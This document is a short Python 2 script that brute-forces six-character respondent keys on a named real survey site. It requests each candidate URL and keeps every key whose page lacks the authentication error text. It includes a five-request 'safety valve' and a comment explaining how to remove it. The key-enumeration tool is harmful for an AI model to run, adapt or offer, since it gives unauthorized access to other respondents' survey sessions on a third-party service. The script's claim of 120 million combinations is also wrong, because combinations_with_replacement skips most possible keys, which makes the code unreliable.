Python Crawler for Sites.

import urllib2
import itertools

sKey = "The respondent authentication key" # This is on all pages that are wrong.
mainURL = "https://or.allegiancetech.de/cgi-bin/qwebcorporate.dll?idx=EUFMZ4&l=dansk&rk=" # URL to Lodam GPW.
outList = [] # Output list of functioning keys.


keyElements = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" # List of key elements.
subsets = itertools.combinations_with_replacement(keyElements, 6) # Generate list of elements from above.
# WARNING: Generates 120 million combinations to test from, proceed with caution.

iterMax = 0 # Test Protection.

for i in subsets:
    identifier =  ''.join(i) # Joins the elements of each subset to one string.

    iterMax = iterMax + 1 # Comment out below, to remove safety valve.
    if iterMax > 5:
        break

    response = urllib2.urlopen(mainURL+identifier) # Call urllib and open webpage.
    html = response.read() # Read response.

    if sKey not in html: # Determine if sKey string is in html.
        outList.append(identifier) # If it is not, save the identifier, as it is valid.